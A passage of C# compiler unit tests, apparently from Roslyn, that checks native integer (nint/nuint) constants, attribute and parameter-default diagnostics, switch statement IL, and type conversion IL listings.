Diagnostic(ErrorCode.ERR_NotConstantExpression, "default(System.UIntPtr)").WithArguments("Program.C").WithLocation(5, 30));
}
[Fact]
public void Constants_Fields_02()
{
var source0 =
@"public class A
{
public const nint C1 = -42;
public const nuint C2 = 42;
}";
var comp = CreateCompilation(source0, parseOptions: TestOptions.Regular9);
var ref0 = comp.EmitToImageReference();
var source1 =
@"using System;
class B
{
static void Main()
{
Console.WriteLine(A.C1);
Console.WriteLine(A.C2);
}
}";
comp = CreateCompilation(source1, references: new[] { ref0 }, parseOptions: TestOptions.Regular9, options: TestOptions.ReleaseExe);
CompileAndVerify(comp, expectedOutput:
@"-42
42");
}
[Fact]
public void Constants_ParameterDefaults()
{
var source0 =
@"public class A
{
public static System.IntPtr F1(System.IntPtr i = default) => i;
public static nint F2(nint i = -42) => i;
public static System.UIntPtr F3(System.UIntPtr u = default) => u;
public static nuint F4(nuint u = 42) => u;
}";
var comp = CreateCompilation(source0, parseOptions: TestOptions.Regular9);
var ref0 = comp.EmitToImageReference();
var source1 =
@"using System;
class B
{
static void Main()
{
Console.WriteLine(A.F1());
Console.WriteLine(A.F2());
Console.WriteLine(A.F3());
Console.WriteLine(A.F4());
}
}";
comp = CreateCompilation(source1, references: new[] { ref0 }, parseOptions: TestOptions.Regular9, options: TestOptions.ReleaseExe);
CompileAndVerify(comp, expectedOutput:
@"0
-42
0
42");
}
[Fact]
public void Constants_FromMetadata()
{
var source0 =
@"public class Constants
{
public const nint NIntMin = int.MinValue;
public const nint NIntMax = int.MaxValue;
public const nuint NUIntMin = uint.MinValue;
public const nuint NUIntMax = uint.MaxValue;
}";
var comp = CreateCompilation(source0, parseOptions: TestOptions.Regular9);
var ref0 = comp.EmitToImageReference();
var source1 =
@"using System;
class Program
{
static void Main()
{
const nint nintMin = Constants.NIntMin;
const nint nintMax = Constants.NIntMax;
const nuint nuintMin = Constants.NUIntMin;
const nuint nuintMax = Constants.NUIntMax;
Console.WriteLine(nintMin);
Console.WriteLine(nintMax);
Console.WriteLine(nuintMin);
Console.WriteLine(nuintMax);
}
}";
comp = CreateCompilation(source1, references: new[] { ref0 }, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
CompileAndVerify(comp, expectedOutput:
@"-2147483648
2147483647
0
4294967295");
}
[Fact]
public void ConstantValue_Properties()
{
var source =
@"class Program
{
const nint A = int.MinValue;
const nint B = 0;
const nint C = int.MaxValue;
const nuint D = 0;
const nuint E = uint.MaxValue;
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verify((FieldSymbol)comp.GetMember("Program.A"), int.MinValue, signed: true, negative: true);
verify((FieldSymbol)comp.GetMember("Program.B"), 0, signed: true, negative: false);
verify((FieldSymbol)comp.GetMember("Program.C"), int.MaxValue, signed: true, negative: false);
verify((FieldSymbol)comp.GetMember("Program.D"), 0U, signed: false, negative: false);
verify((FieldSymbol)comp.GetMember("Program.E"), uint.MaxValue, signed: false, negative: false);
static void verify(FieldSymbol field, object expectedValue, bool signed, bool negative)
{
var value = field.GetConstantValue(ConstantFieldsInProgress.Empty, earlyDecodingWellKnownAttributes: false);
Assert.Equal(signed ? ConstantValueTypeDiscriminator.NInt : ConstantValueTypeDiscriminator.NUInt, value.Discriminator);
Assert.Equal(expectedValue, value.Value);
Assert.True(value.IsIntegral);
Assert.True(value.IsNumeric);
Assert.Equal(negative, value.IsNegativeNumeric);
Assert.Equal(!signed, value.IsUnsigned);
}
}
/// <summary>
/// Native integers cannot be used as attribute values.
/// </summary>
[Fact]
public void AttributeValue_01()
{
var source0 =
@"class A : System.Attribute
{
public A() { }
public A(object value) { }
public object Value;
}
[A((nint)1)]
[A(new nuint[0])]
[A(Value = (nint)3)]
[A(Value = new[] { (nuint)4 })]
class B
{
}";
var comp = CreateCompilation(source0, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (7,4): error CS0182: An attribute argument must be a constant expression, typeof expression or array creation expression of an attribute parameter type
// [A((nint)1)]
Diagnostic(ErrorCode.ERR_BadAttributeArgument, "(nint)1").WithLocation(7, 4),
// (8,4): error CS0182: An attribute argument must be a constant expression, typeof expression or array creation expression of an attribute parameter type
// [A(new nuint[0])]
Diagnostic(ErrorCode.ERR_BadAttributeArgument, "new nuint[0]").WithLocation(8, 4),
// (9,12): error CS0182: An attribute argument must be a constant expression, typeof expression or array creation expression of an attribute parameter type
// [A(Value = (nint)3)]
Diagnostic(ErrorCode.ERR_BadAttributeArgument, "(nint)3").WithLocation(9, 12),
// (10,12): error CS0182: An attribute argument must be a constant expression, typeof expression or array creation expression of an attribute parameter type
// [A(Value = new[] { (nuint)4 })]
Diagnostic(ErrorCode.ERR_BadAttributeArgument, "new[] { (nuint)4 }").WithLocation(10, 12));
}
/// <summary>
/// Native integers cannot be used as attribute values.
/// </summary>
[Fact]
public void AttributeValue_02()
{
var source0 =
@"class A : System.Attribute
{
public A() { }
public A(nint value) { }
public nuint[] Value;
}
[A(1)]
[A(Value = default)]
class B
{
}";
var comp = CreateCompilation(source0, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (7,2): error CS0181: Attribute constructor parameter 'value' has type 'nint', which is not a valid attribute parameter type
// [A(1)]
Diagnostic(ErrorCode.ERR_BadAttributeParamType, "A").WithArguments("value", "nint").WithLocation(7, 2),
// (8,4): error CS0655: 'Value' is not a valid named attribute argument because it is not a valid attribute parameter type
// [A(Value = default)]
Diagnostic(ErrorCode.ERR_BadNamedAttributeArgumentType, "Value").WithArguments("Value").WithLocation(8, 4));
}
[Fact]
public void ParameterDefaultValue_01()
{
var source =
@"using System;
class A
{
static void F0(IntPtr x = default, UIntPtr y = default)
{
}
static void F1(IntPtr x = (IntPtr)(-1), UIntPtr y = (UIntPtr)2)
{
}
static void F2(IntPtr? x = null, UIntPtr? y = null)
{
}
static void F3(IntPtr? x = (IntPtr)(-3), UIntPtr? y = (UIntPtr)4)
{
}
}";
var comp = CreateCompilation(source);
comp.VerifyDiagnostics(
// (7,31): error CS1736: Default parameter value for 'x' must be a compile-time constant
// static void F1(IntPtr x = (IntPtr)(-1), UIntPtr y = (UIntPtr)2)
Diagnostic(ErrorCode.ERR_DefaultValueMustBeConstant, "(IntPtr)(-1)").WithArguments("x").WithLocation(7, 31),
// (7,57): error CS1736: Default parameter value for 'y' must be a compile-time constant
// static void F1(IntPtr x = (IntPtr)(-1), UIntPtr y = (UIntPtr)2)
Diagnostic(ErrorCode.ERR_DefaultValueMustBeConstant, "(UIntPtr)2").WithArguments("y").WithLocation(7, 57),
// (13,32): error CS1736: Default parameter value for 'x' must be a compile-time constant
// static void F3(IntPtr? x = (IntPtr)(-3), UIntPtr? y = (UIntPtr)4)
Diagnostic(ErrorCode.ERR_DefaultValueMustBeConstant, "(IntPtr)(-3)").WithArguments("x").WithLocation(13, 32),
// (13,59): error CS1736: Default parameter value for 'y' must be a compile-time constant
// static void F3(IntPtr? x = (IntPtr)(-3), UIntPtr? y = (UIntPtr)4)
Diagnostic(ErrorCode.ERR_DefaultValueMustBeConstant, "(UIntPtr)4").WithArguments("y").WithLocation(13, 59));
}
[Fact]
public void ParameterDefaultValue_02()
{
var sourceA =
@"public class A
{
public static void F0(nint x = default, nuint y = default)
{
Report(x);
Report(y);
}
public static void F1(nint x = -1, nuint y = 2)
{
Report(x);
Report(y);
}
public static void F2(nint? x = null, nuint? y = null)
{
Report(x);
Report(y);
}
public static void F3(nint? x = -3, nuint? y = 4)
{
Report(x);
Report(y);
}
static void Report(object o)
{
System.Console.WriteLine(o ?? ""null"");
}
}";
var sourceB =
@"class B
{
static void Main()
{
A.F0();
A.F1();
A.F2();
A.F3();
}
}";
var expectedOutput =
@"0
0
-1
2
null
null
-3
4";
var comp = CreateCompilation(new[] { sourceA, sourceB }, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
CompileAndVerify(comp, expectedOutput: expectedOutput);
comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateCompilation(sourceB, references: new[] { ref1 }, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
CompileAndVerify(comp, expectedOutput: expectedOutput);
comp = CreateCompilation(sourceB, references: new[] { ref2 }, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
CompileAndVerify(comp, expectedOutput: expectedOutput);
comp = CreateCompilation(sourceB, references: new[] { ref1 }, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular8);
CompileAndVerify(comp, expectedOutput: expectedOutput);
comp = CreateCompilation(sourceB, references: new[] { ref2 }, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular8);
CompileAndVerify(comp, expectedOutput: expectedOutput);
}
[Fact]
public void SwitchStatement_01()
{
var source =
@"using System;
class Program
{
static nint M(nint ret)
{
switch (ret) {
case 0:
ret--; // 2
Report(""case 0: "", ret);
goto case 9999;
case 2:
ret--; // 4
Report(""case 2: "", ret);
goto case 255;
case 6: // start here
ret--; // 5
Report(""case 6: "", ret);
goto case 2;
case 9999:
ret--; // 1
Report(""case 9999: "", ret);
goto default;
case 0xff:
ret--; // 3
Report(""case 0xff: "", ret);
goto case 0;
default:
ret--;
Report(""default: "", ret);
if (ret > 0) {
goto case -1;
}
break;
case -1:
ret = 999;
Report(""case -1: "", ret);
break;
}
return(ret);
}
static void Report(string prefix, nint value)
{
Console.WriteLine(prefix + value);
}
static void Main()
{
Console.WriteLine(M(6));
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
var verifier = CompileAndVerify(comp, expectedOutput:
@"case 6: 5
case 2: 4
case 0xff: 3
case 0: 2
case 9999: 1
default: 0
0");
verifier.VerifyIL("Program.M", @"
{
// Code size 201 (0xc9)
.maxstack 3
.locals init (long V_0)
IL_0000: ldarg.0
IL_0001: conv.i8
IL_0002: stloc.0
IL_0003: ldloc.0
IL_0004: ldc.i4.6
IL_0005: conv.i8
IL_0006: bgt.s IL_0031
IL_0008: ldloc.0
IL_0009: ldc.i4.m1
IL_000a: conv.i8
IL_000b: sub
IL_000c: dup
IL_000d: ldc.i4.3
IL_000e: conv.i8
IL_000f: ble.un.s IL_0014
IL_0011: pop
IL_0012: br.s IL_002a
IL_0014: conv.u4
IL_0015: switch (
IL_00b4,
IL_0045,
IL_009f,
IL_0057)
IL_002a: ldloc.0
IL_002b: ldc.i4.6
IL_002c: conv.i8
IL_002d: beq.s IL_0069
IL_002f: br.s IL_009f
IL_0031: ldloc.0
IL_0032: ldc.i4 0xff
IL_0037: conv.i8
IL_0038: beq.s IL_008d
IL_003a: ldloc.0
IL_003b: ldc.i4 0x270f
IL_0040: conv.i8
IL_0041: beq.s IL_007b
IL_0043: br.s IL_009f
IL_0045: ldarg.0
IL_0046: ldc.i4.1
IL_0047: sub
IL_0048: starg.s V_0
IL_004a: ldstr ""case 0: ""
IL_004f: ldarg.0
IL_0050: call ""void Program.Report(string, nint)""
IL_0055: br.s IL_007b
IL_0057: ldarg.0
IL_0058: ldc.i4.1
IL_0059: sub
IL_005a: starg.s V_0
IL_005c: ldstr ""case 2: ""
IL_0061: ldarg.0
IL_0062: call ""void Program.Report(string, nint)""
IL_0067: br.s IL_008d
IL_0069: ldarg.0
IL_006a: ldc.i4.1
IL_006b: sub
IL_006c: starg.s V_0
IL_006e: ldstr ""case 6: ""
IL_0073: ldarg.0
IL_0074: call ""void Program.Report(string, nint)""
IL_0079: br.s IL_0057
IL_007b: ldarg.0
IL_007c: ldc.i4.1
IL_007d: sub
IL_007e: starg.s V_0
IL_0080: ldstr ""case 9999: ""
IL_0085: ldarg.0
IL_0086: call ""void Program.Report(string, nint)""
IL_008b: br.s IL_009f
IL_008d: ldarg.0
IL_008e: ldc.i4.1
IL_008f: sub
IL_0090: starg.s V_0
IL_0092: ldstr ""case 0xff: ""
IL_0097: ldarg.0
IL_0098: call ""void Program.Report(string, nint)""
IL_009d: br.s IL_0045
IL_009f: ldarg.0
IL_00a0: ldc.i4.1
IL_00a1: sub
IL_00a2: starg.s V_0
IL_00a4: ldstr ""default: ""
IL_00a9: ldarg.0
IL_00aa: call ""void Program.Report(string, nint)""
IL_00af: ldarg.0
IL_00b0: ldc.i4.0
IL_00b1: conv.i
IL_00b2: ble.s IL_00c7
IL_00b4: ldc.i4 0x3e7
IL_00b9: conv.i
IL_00ba: starg.s V_0
IL_00bc: ldstr ""case -1: ""
IL_00c1: ldarg.0
IL_00c2: call ""void Program.Report(string, nint)""
IL_00c7: ldarg.0
IL_00c8: ret
}
");
}
[Fact]
public void SwitchStatement_02()
{
var source =
@"using System;
class Program
{
static nuint M(nuint ret)
{
switch (ret) {
case 0:
ret--; // 2
Report(""case 0: "", ret);
goto case 9999;
case 2:
ret--; // 4
Report(""case 2: "", ret);
goto case 255;
case 6: // start here
ret--; // 5
Report(""case 6: "", ret);
goto case 2;
case 9999:
ret--; // 1
Report(""case 9999: "", ret);
goto default;
case 0xff:
ret--; // 3
Report(""case 0xff: "", ret);
goto case 0;
default:
ret--;
Report(""default: "", ret);
if (ret > 0) {
goto case int.MaxValue;
}
break;
case int.MaxValue:
ret = 999;
Report(""case int.MaxValue: "", ret);
break;
}
return(ret);
}
static void Report(string prefix, nuint value)
{
Console.WriteLine(prefix + value);
}
static void Main()
{
Console.WriteLine(M(6));
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
var verifier = CompileAndVerify(comp, expectedOutput:
@"case 6: 5
case 2: 4
case 0xff: 3
case 0: 2
case 9999: 1
default: 0
0");
verifier.VerifyIL("Program.M", @"
{
// Code size 184 (0xb8)
.maxstack 2
.locals init (ulong V_0)
IL_0000: ldarg.0
IL_0001: conv.u8
IL_0002: stloc.0
IL_0003: ldloc.0
IL_0004: ldc.i4.6
IL_0005: conv.i8
IL_0006: bgt.un.s IL_0017
IL_0008: ldloc.0
IL_0009: brfalse.s IL_0034
IL_000b: ldloc.0
IL_000c: ldc.i4.2
IL_000d: conv.i8
IL_000e: beq.s IL_0046
IL_0010: ldloc.0
IL_0011: ldc.i4.6
IL_0012: conv.i8
IL_0013: beq.s IL_0058
IL_0015: br.s IL_008e
IL_0017: ldloc.0
IL_0018: ldc.i4 0xff
IL_001d: conv.i8
IL_001e: beq.s IL_007c
IL_0020: ldloc.0
IL_0021: ldc.i4 0x270f
IL_0026: conv.i8
IL_0027: beq.s IL_006a
IL_0029: ldloc.0
IL_002a: ldc.i4 0x7fffffff
IL_002f: conv.i8
IL_0030: beq.s IL_00a3
IL_0032: br.s IL_008e
IL_0034: ldarg.0
IL_0035: ldc.i4.1
IL_0036: sub
IL_0037: starg.s V_0
IL_0039: ldstr ""case 0: ""
IL_003e: ldarg.0
IL_003f: call ""void Program.Report(string, nuint)""
IL_0044: br.s IL_006a
IL_0046: ldarg.0
IL_0047: ldc.i4.1
IL_0048: sub
IL_0049: starg.s V_0
IL_004b: ldstr ""case 2: ""
IL_0050: ldarg.0
IL_0051: call ""void Program.Report(string, nuint)""
IL_0056: br.s IL_007c
IL_0058: ldarg.0
IL_0059: ldc.i4.1
IL_005a: sub
IL_005b: starg.s V_0
IL_005d: ldstr ""case 6: ""
IL_0062: ldarg.0
IL_0063: call ""void Program.Report(string, nuint)""
IL_0068: br.s IL_0046
IL_006a: ldarg.0
IL_006b: ldc.i4.1
IL_006c: sub
IL_006d: starg.s V_0
IL_006f: ldstr ""case 9999: ""
IL_0074: ldarg.0
IL_0075: call ""void Program.Report(string, nuint)""
IL_007a: br.s IL_008e
IL_007c: ldarg.0
IL_007d: ldc.i4.1
IL_007e: sub
IL_007f: starg.s V_0
IL_0081: ldstr ""case 0xff: ""
IL_0086: ldarg.0
IL_0087: call ""void Program.Report(string, nuint)""
IL_008c: br.s IL_0034
IL_008e: ldarg.0
IL_008f: ldc.i4.1
IL_0090: sub
IL_0091: starg.s V_0
IL_0093: ldstr ""default: ""
IL_0098: ldarg.0
IL_0099: call ""void Program.Report(string, nuint)""
IL_009e: ldarg.0
IL_009f: ldc.i4.0
IL_00a0: conv.i
IL_00a1: ble.un.s IL_00b6
IL_00a3: ldc.i4 0x3e7
IL_00a8: conv.i
IL_00a9: starg.s V_0
IL_00ab: ldstr ""case int.MaxValue: ""
IL_00b0: ldarg.0
IL_00b1: call ""void Program.Report(string, nuint)""
IL_00b6: ldarg.0
IL_00b7: ret
}
");
}
[Fact]
public void Conversions()
{
const string convNone =
@"{
// Code size 2 (0x2)
.maxstack 1
IL_0000: ldarg.0
IL_0001: ret
}";
static string conv(string conversion) =>
$@"{{
// Code size 3 (0x3)
.maxstack 1
IL_0000: ldarg.0
IL_0001: {conversion}
IL_0002: ret
}}";
static string convFromNullableT(string conversion, string sourceType) =>
$@"{{
// Code size 9 (0x9)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""{sourceType} {sourceType}?.Value.get""
IL_0007: {conversion}
IL_0008: ret
}}";
static string convToNullableT(string conversion, string destType) =>
$@"{{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: {conversion}
IL_0002: newobj ""{destType}?..ctor({destType})""
IL_0007: ret
}}";
static string convFromToNullableT(string conversion, string sourceType, string destType) =>
$@"{{
// Code size 35 (0x23)
.maxstack 1
.locals init ({sourceType}? V_0,
{destType}? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool {sourceType}?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""{destType}?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""{sourceType} {sourceType}?.GetValueOrDefault()""
IL_001c: {conversion}
IL_001d: newobj ""{destType}?..ctor({destType})""
IL_0022: ret
}}";
static string convAndExplicit(string method, string conv = null) => conv is null ?
$@"{{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""{method}""
IL_0006: ret
}}" :
$@"{{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""{method}""
IL_0006: {conv}
IL_0007: ret
}}";
static string convAndExplicitFromNullableT(string sourceType, string method, string conv = null) => conv is null ?
$@"{{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""{sourceType} {sourceType}?.Value.get""
IL_0007: call ""{method}""
IL_000c: ret
}}" :
$@"{{
// Code size 14 (0xe)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""{sourceType} {sourceType}?.Value.get""
IL_0007: call ""{method}""
IL_000c: {conv}
IL_000d: ret
}}";
static string convAndExplicitToNullableT(string destType, string method, string conv = null) => conv is null ?
$@"{{
// Code size 12 (0xc)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""{method}""
IL_0006: newobj ""{destType}?..ctor({destType})""
IL_000b: ret
}}" :
$@"{{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""{method}""
IL_0006: {conv}
IL_0007: newobj ""{destType}?..ctor({destType})""
IL_000c: ret
}}";
// https://github.com/dotnet/roslyn/issues/42834: Invalid code generated for nullable conversions
// involving System.[U]IntPtr: the conversion is dropped.
static string convAndExplicitFromToNullableT(string sourceType, string destType, string method, string conv = null) =>
$@"{{
// Code size 39 (0x27)
.maxstack 1
.locals init ({sourceType}? V_0,
{destType}? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool {sourceType}?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""{destType}?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""{sourceType} {sourceType}?.GetValueOrDefault()""
IL_001c: call ""{method}""
IL_0021: newobj ""{destType}?..ctor({destType})""
IL_0026: ret
}}";
static string explicitAndConv(string method, string conv = null) => conv is null ?
$@"{{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""{method}""
IL_0006: ret
}}" :
$@"{{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: {conv}
IL_0002: call ""{method}""
IL_0007: ret
}}";
static string explicitAndConvFromNullableT(string sourceType, string method, string conv = null) => conv is null ?
$@"{{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""{sourceType} {sourceType}?.Value.get""
IL_0007: call ""{method}""
IL_000c: ret
}}" :
$@"{{
// Code size 14 (0xe)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""{sourceType} {sourceType}?.Value.get""
IL_0007: {conv}
IL_0008: call ""{method}""
IL_000d: ret
}}";
static string explicitAndConvToNullableT(string destType, string method, string conv = null) => conv is null ?
$@"{{
// Code size 12 (0xc)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""{method}""
IL_0006: newobj ""{destType}?..ctor({destType})""
IL_000b: ret
}}" :
$@"{{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarg.0
IL_0001: {conv}
IL_0002: call ""{method}""
IL_0007: newobj ""{destType}?..ctor({destType})""
IL_000c: ret
}}";
// https://github.com/dotnet/roslyn/issues/42834: Invalid code generated for nullable conversions
// involving System.[U]IntPtr: the conversion is dropped.
static string explicitAndConvFromToNullableT(string sourceType, string destType, string method, string conv = null) =>
$@"{{
// Code size 39 (0x27)
.maxstack 1
.locals init ({sourceType}? V_0,
{destType}? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool {sourceType}?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""{destType}?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""{sourceType} {sourceType}?.GetValueOrDefault()""
IL_001c: call ""{method}""
IL_0021: newobj ""{destType}?..ctor({destType})""
IL_0026: ret
}}";
void conversions(string sourceType, string destType, string expectedImplicitIL, string expectedExplicitIL, string expectedCheckedIL = null)
{
// https://github.com/dotnet/roslyn/issues/42834: Invalid code generated for nullable conversions
// involving System.[U]IntPtr: the conversion is dropped. And when converting from System.[U]IntPtr,
// an assert in LocalRewriter.MakeLiftedUserDefinedConversionConsequence fails.
bool verify = !(sourceType.EndsWith("?") &&
destType.EndsWith("?") &&
(usesIntPtrOrUIntPtr(sourceType) || usesIntPtrOrUIntPtr(destType)));
#if DEBUG
if (!verify) return;
#endif
convert(
sourceType,
destType,
expectedImplicitIL,
// https://github.com/dotnet/roslyn/issues/42454: TypeInfo.ConvertedType does not include identity conversion between underlying type and native int.
skipTypeChecks: usesIntPtrOrUIntPtr(sourceType) || usesIntPtrOrUIntPtr(destType),
useExplicitCast: false,
useChecked: false,
verify: verify,
expectedImplicitIL is null ?
expectedExplicitIL is null ? ErrorCode.ERR_NoImplicitConv : ErrorCode.ERR_NoImplicitConvCast :
0);
convert(
sourceType,
destType,
expectedExplicitIL,
skipTypeChecks: true,
useExplicitCast: true,
useChecked: false,
verify: verify,
expectedExplicitIL is null ? ErrorCode.ERR_NoExplicitConv : 0);
expectedCheckedIL ??= expectedExplicitIL;
convert(
sourceType,
destType,
expectedCheckedIL,
skipTypeChecks: true,
useExplicitCast: true,
useChecked: true,
verify: verify,
expectedCheckedIL is null ? ErrorCode.ERR_NoExplicitConv : 0);
static bool usesIntPtrOrUIntPtr(string underlyingType) => underlyingType.Contains("IntPtr");
}
conversions(sourceType: "object", destType: "nint", expectedImplicitIL: null,
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: unbox.any ""System.IntPtr""
IL_0006: ret
}");
conversions(sourceType: "string", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "void*", destType: "nint", expectedImplicitIL: null,
// https://github.com/dotnet/roslyn/issues/42457: Investigate whether this conversion (and other
// conversions to/from void*) can use conv.i or conv.u instead of explicit operators on System.[U]IntPtr.
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""System.IntPtr System.IntPtr.op_Explicit(void*)""
IL_0006: ret
}");
conversions(sourceType: "bool", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char", destType: "nint", expectedImplicitIL: conv("conv.u"), expectedExplicitIL: conv("conv.u"));
conversions(sourceType: "sbyte", destType: "nint", expectedImplicitIL: conv("conv.i"), expectedExplicitIL: conv("conv.i"));
conversions(sourceType: "byte", destType: "nint", expectedImplicitIL: conv("conv.u"), expectedExplicitIL: conv("conv.u"));
conversions(sourceType: "short", destType: "nint", expectedImplicitIL: conv("conv.i"), expectedExplicitIL: conv("conv.i"));
conversions(sourceType: "ushort", destType: "nint", expectedImplicitIL: conv("conv.u"), expectedExplicitIL: conv("conv.u"));
conversions(sourceType: "int", destType: "nint", expectedImplicitIL: conv("conv.i"), expectedExplicitIL: conv("conv.i"));
conversions(sourceType: "uint", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u"), expectedCheckedIL: conv("conv.ovf.i.un"));
conversions(sourceType: "long", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i"), expectedCheckedIL: conv("conv.ovf.i"));
conversions(sourceType: "ulong", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i"), expectedCheckedIL: conv("conv.ovf.i.un"));
conversions(sourceType: "nint", destType: "nint", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "nuint", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i"), expectedCheckedIL: conv("conv.ovf.i.un"));
conversions(sourceType: "float", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i"), expectedCheckedIL: conv("conv.ovf.i"));
conversions(sourceType: "double", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i"), expectedCheckedIL: conv("conv.ovf.i"));
conversions(sourceType: "decimal", destType: "nint", expectedImplicitIL: null,
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""long decimal.op_Explicit(decimal)""
IL_0006: conv.i
IL_0007: ret
}",
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""long decimal.op_Explicit(decimal)""
IL_0006: conv.ovf.i
IL_0007: ret
}");
conversions(sourceType: "System.IntPtr", destType: "nint", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "System.UIntPtr", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "bool?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "char"));
conversions(sourceType: "sbyte?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "sbyte"));
conversions(sourceType: "byte?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "byte"));
conversions(sourceType: "short?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "short"));
conversions(sourceType: "ushort?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "ushort"));
conversions(sourceType: "int?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "int"));
conversions(sourceType: "uint?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "uint"), expectedCheckedIL: convFromNullableT("conv.ovf.i.un", "uint"));
conversions(sourceType: "long?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "long"), expectedCheckedIL: convFromNullableT("conv.ovf.i", "long"));
conversions(sourceType: "ulong?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "ulong"), expectedCheckedIL: convFromNullableT("conv.ovf.i.un", "ulong"));
conversions(sourceType: "nint?", destType: "nint", expectedImplicitIL: null,
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""nint nint?.Value.get""
IL_0007: ret
}");
conversions(sourceType: "nuint?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "nuint"), expectedCheckedIL: convFromNullableT("conv.ovf.i.un", "nuint"));
conversions(sourceType: "float?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "float"), expectedCheckedIL: convFromNullableT("conv.ovf.i", "float"));
conversions(sourceType: "double?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "double"), expectedCheckedIL: convFromNullableT("conv.ovf.i", "double"));
conversions(sourceType: "decimal?", destType: "nint", expectedImplicitIL: null,
@"{
// Code size 14 (0xe)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""decimal decimal?.Value.get""
IL_0007: call ""long decimal.op_Explicit(decimal)""
IL_000c: conv.i
IL_000d: ret
}",
@"{
// Code size 14 (0xe)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""decimal decimal?.Value.get""
IL_0007: call ""long decimal.op_Explicit(decimal)""
IL_000c: conv.ovf.i
IL_000d: ret
}");
conversions(sourceType: "System.IntPtr?", destType: "nint", expectedImplicitIL: null,
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""System.IntPtr System.IntPtr?.Value.get""
IL_0007: ret
}");
